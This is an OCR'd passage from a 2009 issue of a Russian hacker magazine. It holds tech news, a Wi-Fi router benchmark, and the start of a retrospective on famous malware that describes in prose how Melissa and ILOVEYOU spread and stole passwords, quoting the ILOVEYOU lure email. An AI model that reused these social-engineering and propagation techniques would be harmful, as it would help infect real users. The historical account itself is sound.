Эти ребята и не думают<br />

останавливать свои исследования<br />

и разработки. На этот<br />

раз усилия команды, собранной<br />

из различных университетов<br />

страны, направлены на<br />

создание шлема виртуальной<br />

реальности, который сможет<br />

эмулировать запахи, звуки,<br />

ощущения и поставлять глазам достоверную картинку. Пока девайс<br />

носит характерное название Virtual Cocoon и внешне действительно<br />

весьма смахивает на кокон. Эмулировать реальность планируется<br />

следующим образом. Осязание обеспечат за счет встроенных в шлем<br />

вентиляторов (будут гнать потоки холодного или горячего воздуха) и<br />

увлажнителей. Обоняние — за счет трубок, подсоединенных к специальному<br />

боксу с химикатами и вставляющихся в нос и в рот; а зрение<br />

будет ублажать HD-экран, способный отобразить картинку в 30 раз<br />

ярче или темнее обычного ТВ. Ну и, само собой, завершит начатое объемный,<br />

реалистичный звук. Пока готов только прототип, но разработку<br />

планируется завершить в течение 5 лет. Ученые мужи настолько уверены<br />

в успехе начинания, что уже сейчас называют примерную цену на<br />

чудо-девайс — по их мнению, она составит около 1.500 фунтов.<br />

XÀÊÅÐ 04 /124/ 09<br />

013


PC27<br />

>> meganews<br />

Рекламная пауза<br />

Нашествие ЛЖе-юзеров<br />

Еще один способ превращения<br />

убытков от пиратства в<br />

доходы измыслили специалисты<br />

компании Microsoft.<br />

Недавно глава подразделения<br />

по работе с бизнесом,<br />

Стивен Илоп, сообщил<br />

изданию The Business Insider,<br />

что Microsoft укомплектует<br />

новый Office 14 встроенной<br />

рекламой. За счет нее<br />

планируется получать деньги<br />

даже с пиратских версий<br />

пакета программ. Чем версия<br />

с рекламой будет отличаться<br />

от обычной, платной версии,<br />

пока неизвестно. Неизвестно<br />

также, какого рода рекламу<br />

планируется интегрировать<br />

в Office 14, и каким<br />

образом. Выйдет новинка<br />

не ранее 2010 года, так<br />

что остается лишь ждать<br />

подробностей. Пока же<br />

создается впечатление,<br />

что в Microsoft просто<br />

никогда не слышали о баннерорезках.<br />

Покой пользователей одной из наиболее<br />

популярных в России платформ<br />

для блогинга — LiveJournal оказался<br />

потревожен неизвестными «умниками».<br />

Последние обратили внимание,<br />

что многие ЖЖ-аккаунты зарегистрированы<br />

на просроченные почтовые<br />

адреса Microsoft Hotmail, чем и<br />

воспользовались. Так как ящик Hotmail<br />

после годичного простоя становится<br />

неактивным, злоумышленникам не составило<br />

труда покопаться в LJ, в лежащих<br />

в открытом доступе e-mail адресах,<br />

вычислить аккаунты, не использовавшиеся<br />

больше года, и зарегистрировать<br />

«освободившиеся» ящики заново, уже<br />

на себя. После этого подавалась заявка<br />

на восстановление, и ящик оказывался<br />

в руках хитрецов. Администрация ЖЖ,<br />

заметившая тенденцию, призывает<br />

пользователей проверить валидность<br />

почтовых ящиков и не терять бдительности.<br />

iPod Suffle — теперь говорящий<br />

Банкоматы тоже болеют<br />

В конце марта компания Apple не<br />

только выпустила бета-версию<br />

iPhone OS 3.0, которая доберется<br />

до пользователей уже этим<br />

летом, но и представила обновленный<br />

iPod suffle объемом 4 Гб.<br />

Новинка сразу вызвала немало<br />

споров. Самый маленький iPod<br />

стал еще меньше и полностью<br />

сменил облик, превратившись<br />

в гладкий, строгий брусок, по<br />

совместительству являющийся<br />

самым маленьким плеером в<br />

мире. Вариантов расцветки у<br />

iPod shuffle теперь всего два —<br />

серебристый и черный, безумие<br />

красок на любой вкус осталось в<br />

прошлом. Все кнопки управления<br />

вынесены на встроенный в<br />

наушники пульт ДУ, что является,<br />

пожалуй, самой популярной<br />

темой для нареканий. Дело в<br />

том, что отныне, кроме «родных»<br />

наушников, к iPod shuffle ничего<br />

не подходит. Даже гарнитура<br />

от iPhone — и та будет бесполезна.<br />

Оказалось, что внутри<br />

плееров находится специальный<br />

идентификационный чип,<br />

и производителям аксессуаров<br />

придется либо заключать с<br />

Apple контракт и участвовать<br />

в программе «Made for iPod»,<br />

либо же их устройства просто не<br />

будут работать с новым suffle.<br />

Так что, выбор наушников и<br />

аксессуаров для нового плеера<br />

вряд ли будет велик, а качество<br />

наушников «по умолчанию» у<br />

многих вызывает опасения. Зато<br />

в Apple очень гордятся тем, что<br />

iPod shuffle умеет говорить на 14<br />

языках (русского среди них нет).<br />

Это не шутка — за счет функции<br />

VoiceOver плеер может проговаривать<br />

название треков, имена<br />

исполнителей и заголовки плейлистов,<br />

которые научился поддерживать.<br />

Учитывая странный<br />

ход с наушниками и цветовой<br />

гаммой, это весьма слабое утешение.<br />

Мало кто станет, забавы<br />

ради, покупать говорящий плеер<br />

за $79.<br />

Рано или поздно все случается<br />

в первый раз — зафиксирован<br />

случай заражения троянской<br />

программой непосредственно<br />

самого банкомата, что ранее<br />

считалось слишком хлопотным<br />

делом, на грани невозможного.<br />

Конечно, использовать скиммеры,<br />

скрытые камеры и другие девайсы<br />

гораздо проще, чем внедряться в<br />

закрытую сеть, работающую под<br />

управлением нестандартных,<br />

специализированных ОС. Тем не<br />

менее, работник компании Sophos<br />

Ваня Швайцер решил проверить<br />

слухи, твердившие о зараженных<br />

банкоматах в России. Проверка<br />

базы данных компании ничего не<br />

дала, но Швайцер нашел в ней три<br />

относительно новых файла, которые<br />

вызывали у него подозрение.<br />

Проведя ручную проверку, он не<br />

поверил своим глазам, обнаружив<br />

самый настоящий троян,<br />

«заточенный» под банкоматы<br />

Diebold и их ПО. До конца троянец<br />

еще не расшифрован, но уже<br />

сейчас ясно, что он перехватывал<br />

данные с магнитной полосы карты<br />

и клавиатуры банкомата. Создание<br />

такой софтины явно не обошлось<br />

без программиста, хорошо знающего<br />

ПО Diebold Agilis. Засланный<br />

казачок?<br />

014<br />

XÀÊÅÐ 04 /124/ 09


meganews<br />

Новинки с приставкой Eee<br />

На уже упомянутой выставке<br />

CeBIT был представлен целый<br />

ряд новых моделей и устройств<br />

из серии Eee от компании Asus.<br />

Оригинальный Eee Keyboard<br />

PC, получивший первый приз<br />

на церемонии CeBIT-PreView<br />

Awards, — это функционал полноценного<br />

ПК в обличие клавиатуры<br />

с 5’’ сенсорной панелью. Просто<br />

подключаем Keyboard PC к<br />

любому телевизору или монитору<br />

по беспроводному интерфейсу,<br />

и полноценный вычислительно-развлекательный<br />

комплекс<br />

в нашем распоряжении! Eee PC<br />

T91 — планшетный компьютер с<br />

сенсорным экраном, диагональю<br />

8.9’’. При весе 0.96 кг он способен<br />

работать от одного заряда батареи<br />

в течение 5 часов, оснащен<br />

интерфейсами 802.11b/g/n,<br />

Bluetooth и 3G plus, а также GPS и<br />

ТВ-тюнером. Из других продуктов<br />

семейства Eee были представлены<br />

сенсорный моноблок Eee<br />

Top ET1602, работающий почти<br />

бесшумно; Eee Box PC B206 —<br />

самый компактный в мире ПК<br />

с поддержкой HD; автономный<br />

Skype-видеофон Eee Videophone;<br />

беспроводной игровой манипулятор<br />

Eee Stick и др. Подробнее<br />

почитать о последних достижениях<br />

прогресса можно на официальном<br />

сайте компании.<br />

47% ОПРОШЕННЫХ КОМПАНИЕЙ<br />

ADFUSION АМЕРИКАНЦЕВ ЧИТАЮТ<br />

РЕКЛАМНЫЙ СПАМ, ПРИХОДЯЩИЙ<br />

НА E-MAIL, И ПОКУПАЮТ<br />

РЕКЛАМИРУЕМЫЕ ТОВАРЫ.<br />

XÀÊÅÐ 03 /123/ 09<br />

015


ferrum<br />

ИГОРЬ ФЕДЮКИН<br />

Тест Draft N Wi-Fi роутеров<br />

Nовейшие технологии беспроводной связи<br />

Не так давно мы уже тестировали Draft N роутеры. Но даже за этот<br />

небольшой отрезок времени успело появиться немало интересных<br />

новинок. Мы попытались собрать самые горячие из них и в деталях<br />

исследовать все функциональные и скоростные характеристики.<br />

Отрадно, что все больше моделей WiFi-роутеров<br />

становятся полностью работоспособны в<br />

сетях российских провайдеров. И это касается<br />

не только появления новых моделей у вендоров,<br />

уже уделивших внимание проблеме, — но<br />

и расширения списка таких вендоров. Так, за<br />

последнее время компания TRENDnet доработала<br />

прошивки почти всех своих роутеров.<br />

Теперь они полноценно маршрутизируют два<br />

соединения на WAN-интерфейсе. Напомним,<br />

что необходимость в этом зачастую присутствует<br />

в сетях крупных провайдеров, которые<br />

для авторизации пользователей используют<br />

протоколы PPTP/L2TP или PPPoE. Для<br />

доступа к внутренним ресурсам провайдера<br />

не требуется ничего, кроме настроек TCP/IP.<br />

А вот линк в интернет «появляется» только<br />

после активации VPN-соединения. Многие<br />

роутеры после активации VPN-соединения<br />

«забывают» про внутреннюю сеть провайдера.<br />

К счастью, таких становится все меньше и<br />

меньше.<br />

МЕТОДИКА ТЕСТИРОВАНИЯ<br />

Для максимально объективной оценки скоростных<br />

возможностей роутеров были произведены<br />

следующие замеры:<br />

1. Пропускная способность NAT (скорость<br />

маршрутизации в случае выбора режима<br />

Static IP или Dynamic IP на WAN-интерфейсе).<br />

Как обычно, мы замеряли скорость NAT в трех<br />

направлениях: WANLAN (из интернета к<br />

пользователю или download), LANWAN (от<br />

пользователя в интернет или upload) и FDX (в<br />

обе стороны сразу).<br />

2. Пропускная способность PPTP. Этот протокол<br />

часто используется крупными интернет-провайдерами<br />

для авторизации своих клиентов. В этом<br />

случае на WAN-интерфейсе создается дополнительное<br />

VPN-соединение, которое загружает<br />

CPU роутера, снижая его производительность.<br />

Из всех вариантов (PPPoE, PPTP и L2TP) PPTP<br />

наиболее медленный; таким образом, мы наблюдаем<br />

производительность маршрутизации<br />

устройства в наиболее сложных условиях.<br />

3. Для оценки скорости Wi-Fi мы использовали<br />

адаптеры ASUS WL-100N, D-Link DWA-<br />

645, TRENDnet TEW-624UB. Каждый роутер<br />

тестировался с адаптером того же производителя.<br />

В нашем тесте стационарный компьютер<br />

подключался к роутеру проводом на<br />

скорости 1 Гбит/с. Трафик гонялся между<br />

ним и ноутбуком с WiFi-адаптером. Так мы<br />

получали пиковую скорость беспроводного<br />

соединения. Измерения проводились с<br />

разным удалением ноутбука с адаптером<br />

от точки доступа. В первом случае расстояние<br />

не превышало одного метра, во<br />

втором — точка доступа и ноутбук находились<br />

в разных помещениях, разделенных<br />

капитальной стеной, а удаление составляло<br />

10 метров. Использовалось шифрование<br />

WPA-PSK-TKIP.<br />

016<br />

XÀÊÅÐ 04 /124/ 09


ferrum<br />

ПРОПУСКНАЯ СПОСОБНОСТЬ PPTP СОЕДИНЕНИЯ<br />

Тестирование проводилось<br />

со следующими прошивками:<br />

ASUS WL-500W — 1.9.8.2<br />

ASUS RT-N15 — 1.0.1.7<br />

D-Link DIR-615 — 2.25 B09<br />

D-Link DIR-655 — 1.12 B04<br />

NETGEAR WNDR3300 — 1.0.26<br />

TRENDnet TEW-632BRP — 1.10 B08<br />

TRENDnet TEW-633GR — 1.0.30<br />

TRENDnet TEW-633GR<br />

TRENDnet TEW-632BRP<br />

D-Link DIR-655<br />

D-Link DIR-615<br />

ASUS WL-500W<br />

ASUS RT-N15<br />

000<br />

0 20 40 60 80 100 120<br />

Мбит/с<br />

Гигабитные роутеры D-Link DIR-655 и TRENDnet TEW-633GR уходят в<br />

значительный отрыв<br />

fdx<br />

I w<br />

w I<br />

5700 руб.<br />

5500 руб.<br />

ASUS RT-N15<br />

Технические характеристики:<br />

Интерфейсы: 1xWAN (RJ-45) 10/100/1000 Мбит/сек, 4xLAN (RJ-45)<br />

10/100/1000 Мбит/сек<br />

Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />

Мбит/сек)<br />

Частотный диапазон: 2,4 - 2,5 ГГц<br />

Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />

(TKIP/AES/TKIP+AES), WPS<br />

Функции роутера: NAT/NAPT, DynDNS, Static Routing, DHCP<br />

Функции файрвола: SPI, Packet Filter, URL Filter, MAC Filter<br />

Дополнительно: WAN Bridging<br />

ASUS WL-500W<br />

Технические характеристики:<br />

Интерфейсы: 1xWAN (RJ-45) 10/100 Мбит/сек, 4xLAN (RJ-45) 10/100<br />

Мбит/сек<br />

Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 270<br />

Мбит/сек)<br />

Частотный диапазон: 2,4 - 2,5 ГГц<br />

Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />

(TKIP/AES/TKIP+AES)<br />

Функции роутера: NAT/NAPT, DynDNS, Static Routing, DHCP<br />

Функции файрвола: SPI, Packet Filter, URL Filter, MAC Filter<br />

Дополнительно: 2 USB 2.0 порта для подключения USB-драйвов,<br />

видеокамер и т.п.<br />

ASUS давно грозился представить новые модели Draft N роутеров и вот,<br />

наконец, мы можем их лицезреть. RT-N15 занимает роль флагмана в<br />

новом семействе маршрутизаторов ASUS. Как и подобает современному<br />

роутеру, все порты модели гигабитные. И если для WAN-интерфейса это<br />

не столь актуально, то в домашней сети однозначно пригодится (особенно<br />

для обладателей скоростных NAS и медиасерверов). Производитель<br />

также обращает внимание на опцию WAN-Bridging, которая будет<br />

полезна, если ты смотришь IPTV через приставку. Функция позволяет<br />

полностью зеркалировать трафик, приходящий с WAN-порта на любой<br />

порт коммутатора. Благодаря этому, можно снизить нагрузку на CPU<br />

роутера, избавив его от необходимости работать в качестве IGMP-proxy.<br />

Полезно и наличие функции WPS, которая призвана облегчить процесс<br />

настройки Wi-Fi неопытным пользователям.<br />

Что касается скорости PPTP, — у ASUS RT-N15 она на том же уровне, что и у<br />

предшественника (ASUS WL-500W) и составляет порядка 20 Мбит/сек.<br />

XÀÊÅÐ 04 /124/ 09<br />

ASUS WL-500W, без сомнений — самый знаменитый Draft N роутер.<br />

Своей славой он обязан предшественнику — роутеру ASUS WL-500GP.<br />

Поскольку все это семейство маршрутизаторов использует в основе<br />

open-source микрокод на базе ОС Linux, энтузиасты создали альтернативную<br />

прошивку. В ней был реализован весь необходимый функционал<br />

для работы в сетях российских провайдеров (в том числе и роутинг двух<br />

WAN-соединений). Так WL-500W стал первым Draft N роутером с необходимым<br />

функционалом. Сегодня почти все эти функции присутствуют<br />

и в фирменной прошивке от ASUS. Из дополнительных возможностей<br />

стоит отметить два USB 2.0 порта, к которым можно подключать флешки,<br />

принтеры и web-камеры.<br />

Не обошлось и без недостатков. Скорость маршрутизации PPTP-соединения<br />

составляет, в лучшем, около 20 Мбит/сек. Использование WL-<br />

500W в качестве NAS также сомнительно в виду низкой скорости, которая<br />

не превышает 2 Мб/сек — и на запись, и на чтение.<br />

017


ferrum<br />

СКОРОСТЬ WI-FI (1М, МАКСИМАЛЬНЫЙ РАЗМЕР ПАКЕТА)<br />

СКОРОСТЬ WI-FI (10М, МАКСИМАЛЬНЫЙ РАЗМЕР ПАКЕТА)<br />

TRENDnet TEW-633GR<br />

TRENDnet TEW-632BRP<br />

ap-pc<br />

fdx<br />

pc-ap<br />

TRENDnet TEW-633GR<br />

TRENDnet TEW-632BRP<br />

ap-pc<br />

fdx<br />

pc-ap<br />

D-Link DIR-655<br />

D-Link DIR-655<br />

D-Link DIR-615<br />

D-Link DIR-615<br />

ASUS WL-500W<br />

ASUS WL-500W<br />

ASUS RT-N15<br />

ASUS RT-N15<br />

000<br />

0 20 40 60 80 100 120<br />

Мбит/с<br />

Наилучшие показатели по скорости Wi-Fi показал роутер D-Link DIR-<br />

655, но неплохо выглядят и TRENDnet TEW-633GR, и модели от ASUS<br />

000<br />

0 10 20 30 40 50 60 70 80<br />

Мбит/с<br />

На удалении 10 метров вперед вырывается ASUS WL-500W, но топовые<br />

модели D-Link и TRENDnet отстают не сильно<br />

D-Link DIR-615<br />

Технические характеристики:<br />

Интерфейсы: 1xWAN (RJ-45) 10/100 Мбит/сек, 4xLAN (RJ-45) 10/100<br />

Мбит/сек<br />

Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />

Мбит/сек)<br />

Частотный диапазон: 2,4 - 2,5 ГГц<br />

Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />

(TKIP/AES/TKIP+AES), WPS<br />

Функции роутера: NAT/NAPT, DynDNS, DHCP, Traffic Shaping<br />

Функции файрвола: SPI, Packet Filter, URL Filter, MAC Filter, Access<br />

Control<br />

Дополнительно: IPv6 Ready<br />

D-Link DIR-655<br />

Технические характеристики:<br />

Интерфейсы: 1xWAN (RJ-45) 10/100/1000 Мбит/сек, 4xLAN (RJ-45)<br />

10/100/1000 Мбит/сек<br />

Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />

Мбит/сек)<br />

Частотный диапазон: 2,4 - 2,5 ГГц<br />

Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />

(TKIP/AES), WPS<br />

Функции роутера: NAT/NAPT, DynDNS, DHCP, Static Routing, QoS Engine<br />

Функции файрвола: SPI, URL Filter, IP/MAC Filter, Access Control<br />

Дополнительно: нет<br />

2800 руб.<br />

5100 руб.<br />

Сравнительно новый роутер от компании D-Link, который призван занять<br />

бюджетную нишу Draft N роутеров. Фирменной изюминкой модели<br />

стала поддержка протокольного стека IPv6. Учитывая, что одно из препятствий<br />

на пути с IPv4 на IPv6 — это отсутствие поддержки со стороны<br />

домашнего оборудования, нельзя не похвалить D-Link за проявленную<br />

инициативу! По пропускной способности WAN-интерфейса D-Link<br />

DIR-615 уступает только гигабитным моделям роутеров. Так же, как и у<br />

старшей модели (D-Link DIR-655), тут реализована работа с двумя соединениями<br />

на WAN-интерфейсе — роутер умеет корректно и одновременно<br />

маршрутизировать VPN-соединение и внутреннюю сеть провайдера. А<br />

благодаря наличию функции IGMP Proxy, можно просматривать multicast<br />

IPTV потоки, находясь за роутером.<br />

Один из немногих недостатков роутера — невозможность задать адрес<br />

L2TP-сервера в виде имени.<br />

018<br />

Роутер уже не раз появлялся в наших тестах, поскольку он один из<br />

лучших в своем классе. С момента появления прошивки 1.12WW Build<br />

04 его обладатели получили полноценную работу двух WAN-соединений.<br />

Помимо этого, D-Link DIR-655 показывает отменную производительность.<br />

Пропускная способность в режиме NAT составляет около<br />

250 Мбит/сек, а при использовании протокола PPTP — 90-100 Мбит/<br />

сек. Скорость Wi-Fi у этой модели также хороша. При минимальном<br />

удалении ноутбука от роутера составляет порядка 90 Мбит/сек, а при<br />

расстоянии в 10 метров — 60 Мбит/сек. Безусловно, роутер умеет работать<br />

в качестве IGMP-proxy, так что смотреть multicast-потоки IPTV не<br />

составит никакого труда.<br />

С тестируемой версией прошивки роутер не восстанавливает PPTPсессию<br />

после нескольких повторных дисконнектов. В настройках<br />

L2TP-соединения нет возможности задать адрес сервера в виде<br />

имени.<br />

XÀÊÅÐ 04 /124/ 09


ferrum<br />

СКОРОСТЬ WI-FI (1М, МИНИМАЛЬНЫЙ РАЗМЕР ПАКЕТА)<br />

СКОРОСТЬ WI-FI (10М, МИНИМАЛЬНЫЙ РАЗМЕР ПАКЕТА)<br />

TRENDnet TEW-633GR<br />

TRENDnet TEW-632BRP<br />

ap-pc<br />

fdx<br />

pc-ap<br />

TRENDnet TEW-633GR<br />

TRENDnet TEW-632BRP<br />

ap-pc<br />

fdx<br />

pc-ap<br />

D-Link DIR-655<br />

D-Link DIR-655<br />

D-Link DIR-615<br />

D-Link DIR-615<br />

ASUS WL-500W<br />

ASUS WL-500W<br />

ASUS RT-N15<br />

ASUS RT-N15<br />

000<br />

0 0.2 0.4 0.6 0.8 1 1.2 1.4<br />

Мбит/с<br />

При минимальном размере пакета лидерами вновь являются D-Link<br />

DIR-655 и TRENDnet TEW-633GR, оставляя соперников далеко позади<br />

000<br />

0 0.2 0.4 0.6 0.8 1 1.2 1.4<br />

Мбит/с<br />

И даже увеличение дистанции до 10 метров не меняет ситуацию — вновь<br />

уверенно лидируют D-Link DIR-655 и TRENDnet TEW-633GR<br />

2900 руб.<br />

6000 руб.<br />

TRENDnet TEW-632BRP<br />

Технические характеристики:<br />

Интерфейсы: 1xWAN (RJ-45) 10/100 Мбит/сек, 4xLAN (RJ-45) 10/100<br />

Мбит/сек<br />

Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />

Мбит/сек)<br />

Частотный диапазон: 2,4 - 2,5 ГГц<br />

Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />

(TKIP/AES), WPS<br />

Функции роутера: NAT/NAPT, DynDNS, DHCP, Static Routing<br />

Функции файрвола: SPI, Packet Filtering, Domain/URL Filtering, MAC<br />

Filtering<br />

Дополнительно: WPS<br />

TRENDnet TEW-633GR<br />

Технические характеристики:<br />

Интерфейсы: 1xWAN (RJ-45) 10/100/1000 Мбит/сек, 4xLAN (RJ-45)<br />

10/100/1000 Мбит/сек<br />

Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />

Мбит/сек)<br />

Частотный диапазон: 2,4 - 2,5 ГГц<br />

Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />

(TKIP/AES), WPS<br />

Функции роутера: NAT/NAPT, DynDNS, DHCP, Static Routing, Traffic<br />

Shaping<br />

Функции файрвола: SPI, Packet Filtering, Domain/URL Filtering, MAC<br />

Filtering<br />

Дополнительно: StreamEngine, WPS<br />

В продуктовой линейке TRENDnet модель TEW-632BRP занимает роль<br />

бюджетного роутера, а в нашем тесте она выступает главным конкурентом<br />

D-Link DIR-615. Как уже говорилось, компания TRENDnet обновила<br />

прошивку для этого маршрутизатора, реализовав возможность<br />

работы с двумя соединениями на WAN-интерфейсе. Таким образом, не<br />

придется отключаться от интернета, чтобы воспользоваться внутренними<br />

ресурсами провайдера. Роутер неплохо себя показал и в плане<br />

скорости NAT — при одновременной передаче в оба направления<br />

(WANLAN и LANWAN) суммарная пропускная способность перевалила<br />

за 100 Мбит/сек. Наличие функции WPS определенно пригодится<br />

новичкам, избавив от изучения мануала на предмет нюансов<br />

настройки WiFi-сети. Нажал кнопку WPS или ввел PIN-код в окошке<br />

web-браузера — и готово.<br />

Скорость PPTP-соединения подкачала — всего 10 Мбит/сек. Этого<br />

будет достаточна только для обладателей «безлимитных» флэт-рейтов.<br />

TEW-633GR — одна из самых навороченных моделей в линейке Draft N<br />

роутеров TRENDnet. Этот роутер оснащен гигабитным свитчем (включая<br />

WAN-интерфейс) и мощным процессором, который позволяет достигать<br />

рекордной скорости NAT (чуть менее 300 Мбит/сек). Впрочем, пока провайдеры<br />

не подключают пользователей на скорости более 100 Мбит/сек.<br />

А вот гигабитные порты свитча пригодятся для обладателей скоростного<br />

NAS-сервера. Пропускная способность PPTP-соединения — также на<br />

очень высоком уровне. По этому параметру TRENDnet TEW-633GR уступает<br />

лишь D-Link DIR-655. Благодаря функции WPS, настройка WiFi-сети<br />

упрощена до предела и не вызовет проблем даже у новичков.<br />

На момент тестирования не было прошивки, реализующей корректную<br />

работу двух WAN-соединений. Компания TRENDnet обещает выпустить<br />

таковую в самое ближайшее время, так что ждем.<br />

ВЫВОДЫ<br />

Как и на всю импортную продукцию, цены на роутеры в последнее<br />

время заметно поднялись. Наиболее привлекательные<br />

по цене модели, пару-тройку месяцев назад стоившие меньше<br />

2000 рублей, сейчас уже продают за 3000. Но выбор так или<br />

иначе делать приходится. «Лучшую покупку» мы отдаем модели<br />

TRENDnet TEW-632BRP — с точки зрения цена/качество она<br />

выглядит сильнее остальных. «Выбор редакции» достался<br />

D-Link DIR-655, который пока остается лучшим Wi-Fi Draft N<br />

роутером среди всех протестированных нами моделей. z<br />

XÀÊÅÐ 04 /124/ 09<br />

019


pc_zone<br />

Code red<br />

3<br />

СТЕПАН ИЛЬИН<br />

/ STEP@GAMELAND. RU/<br />

Loveletter<br />

2<br />

Nimda<br />

4<br />

Melissa<br />

1<br />

Sasser<br />

6<br />

Slammer<br />

5<br />

J3<br />

ЗЛО-ВИРУСОВ<br />

Storm<br />

9<br />

Mebroot<br />

Warezov<br />

8<br />

10<br />

7<br />

Sony rootkit<br />

САМАЯ НАШУМЕВШАЯ МАЛВАРЬ ЗА ПОСЛЕДНИЕ 10 ЛЕТ<br />

Каждый день — новая зараза. С таким разнообразием всевозможной<br />

живности появление новой малвари просто перестаешь замечать.<br />

И все-таки, были эпидемии, которые не прошли незамечено.<br />

Мы решили вспомнить последние 10 лет и выбрать за каждый год наиболее<br />

запомнившуюся заразу.<br />

020<br />

XÀÊÅÐ 04 /124/ 09


pc_zone<br />

Melissa<br />

Loveletter<br />

ВЕСЬ КОД MELISSA УМЕЩАЕТСЯ В 100 СТРОЧКАХ<br />

А ВОТ ТАК ВЫГЛЯДЕЛО ПИСЬМО ILOVEYOU<br />

1999 2000<br />

Melissa Едва ли программист из<br />

Нью-Джерси задумывался<br />

о том, чтобы собрать ботнет из миллионов<br />

машин и использовать его для рассылки спама.<br />

Вряд ли он мог представить последствия, создавая<br />

своего, казалось бы, безобидного червя<br />

Melissa. Ведь даже распространение тот начинал<br />

не с инета — впервые червь был обнаружен<br />

26 марта в конференции alt.sex внутри Usenet<br />

— в то время еще популярной сети для общения<br />

и обмена файлами. К сообщению был приложен<br />

файл List.DOC, содержащий пароли на 80<br />

порнушных сайтов: позарившись на «клубничку»,<br />

файлик с радостью открыли многие.<br />

А дальше пошло-поехало: червь тут же начал<br />

распространение, отправляя себя по 50 первым<br />

контрактам из записной книжки пользователя.<br />

Это был первый успешный червь, распространяемый<br />

через e-mail.<br />

Loveletter В следующем году —<br />

новая почтовая эпидемия,<br />

вызванная вирусом Love Letter (или Love<br />

Bug). Письма, содержащие незамысловатое<br />

ILOVEYOU в строке темы, посыпались на ничего<br />

не подозревавших пользователей градом.<br />

И все было бы замечательно, если бы к письму<br />

не был приложен скриптик на Visual Basic<br />

Script, замаскированный под текстовый файл.<br />

The Subject: ILOVEYOU<br />

Message body: kindly check the<br />

attached LOVELETTER coming from me.<br />

Attached file: LOVE-LETTER-FOR-<br />

YOU.TXT.vbs<br />

На лицо отличный пример социальной инженерии<br />

и прием двойного расширения, — что<br />

помогло скрыть подлинную природу файла. По<br />

умолчанию Винда не показывала второе, настоящее,<br />

расширение файла, поэтому принять<br />

аттач за обычный текстовик действительно<br />

было проще простого. Ну а коль пользователь<br />

файл запустил, можно делать свое дело.<br />

Написанная с использованием механизма<br />

Windows Scripting Host, малварь честно<br />

рассылает копии тела по всем адресам из<br />

адресной книги почтовой программы MS<br />

Outlook, после чего приступает к деструктивной<br />

части, закачивая и устанавливая в<br />

системе троя. Путь до исполняемого файла<br />

прописывался как домашняя страница<br />

в параметрах Internet Explorer. Это обеспечивало<br />

его автоматическую загрузку, а<br />

запуск в системе гарантировал специально<br />

созданный ключ в реестре. Далее домашняя<br />

страница возвращалась на свое место — и<br />

ушастый пользователь даже не замечал изменений.<br />

Тем временем, WIN-BUGSFIX.EXE<br />

или Microsoftv25.exe честно отправлял автору<br />

отснифанные пароли.<br />

Трик с использованием двойного расширения<br />

автор заюзал не только в письмах. Для файлов<br />

целого ряда расширений, червь создавал<br />

свои копии, добавляя к их названию расширение<br />

.vbs. Если в папке был файл rulez.mp3, то<br />

тут же создавался rulez.mp3.vbs с телом червя<br />

— и так повсюду.<br />

Когда Melissa открывает зараженный документ<br />

MS Word 97/2000, запускается специальный<br />

макрос, который рассылает копии червя в<br />

сообщениях электронной почты при помощи<br />

обычного Outlook’а. Для этого червь юзает возможность<br />

Visual Basic активизировать другие<br />

приложения MS Windows и использовать их<br />

процедуры. Вирус вызывает MS Outlook, считывает<br />

из адресной книги первые 50 email’ов<br />

и посылает по этим адресам сообщения.<br />

Написав в мессаге текст аля «Вот документ, о<br />

котором ты меня спрашивал», червь приаттачивал<br />

к письму текущий открытый документ<br />

пользователя, предварительно заражая его.<br />

Последнее, кстати, повлекло за собой массу<br />

курьезных ситуаций и, в ряде случаев — утечки<br />

конфиденциальной информации.<br />

В 1999 году пользователи даже не задумывались<br />

о том, что в аттаче от известного им адресата<br />

может быть какая-то зараза, и активно<br />

открывали вложения.<br />

Стремительное распространение вируса<br />

серьезно нагрузило почтовые серверы — им<br />

пришлось обрабатывать на несколько порядков<br />

больше отправлений, чем обычно. Тысячи<br />

машин по всему миру не выдержали нагрузки<br />

и вышли из строя. К 27 марта распространение<br />

вируса приняло характер эпидемии; 29 марта<br />

он проник уже на компьютеры всех стран<br />

мира, подключенных к Сети, в том числе и на<br />

российские.<br />

Найденному силами ФБР Девиду Смиту,<br />

который и написал те три десятка строк кода на<br />

VB, грозили 10 лет тюрьмы, но парень «легко<br />

отделался», получив 20 месяцев заключения<br />

и штраф в $5000. Однако исходники червя<br />

еще долго мусолили хакеры, плодя различные<br />

модификации Melissa.<br />

В основе другого способа распространения,<br />

который так же давал плоды, лежали скрипты<br />

для mIRC — самой распространенной<br />

программы для бешено популярных тогда<br />

IRC-чатов. Пользователям чата автоматически<br />

передавалась HTML-ка, предлагающая<br />

закачать некий ActiveX-элемент. Что находилось<br />

внутри, объяснять не надо, но поверь на<br />

слово: посмотреть, что прислал им хороший<br />

приятель, соглашались очень многие.<br />

Первый случай активности Love Letter был зафиксирован<br />

4 мая 2000 г., а уже через сутки им<br />

были частично или полностью поражены сети<br />

ЦРУ, NASA, Министерства энергетики, конгресса<br />

США, Пентагона, британской палаты<br />

общин и еще множества организаций. Ущерб,<br />

нанесенный червем в первые дни активности,<br />

был оценен в $5 миллионов. Офигительно?<br />

Виновника этого безобразия помог найти оставленный<br />

им автограф: «barok -loveletter(vbe)<br />

< i hate go to school > by: spyder / ispyder@mail.<br />

com / Manila,Philippines». Но в виду отсутствия<br />

местных законов за подобные преступления,<br />

никакой ответственности он не понес.<br />

XÀÊÅÐ 04 /124/ 09<br />

021


pc_zone<br />

CODE RED ДЕФЕЙСИЛ СИСТЕМЫ С АНГЛИЙСКОЙ ЛОКАЛЬЮ<br />

СЕТЕВАЯ АКТИВНОСТЬ SLAMMER’А<br />

Code Red<br />

Slammer<br />

2001<br />

Code Red Из-за этого червя сайту<br />

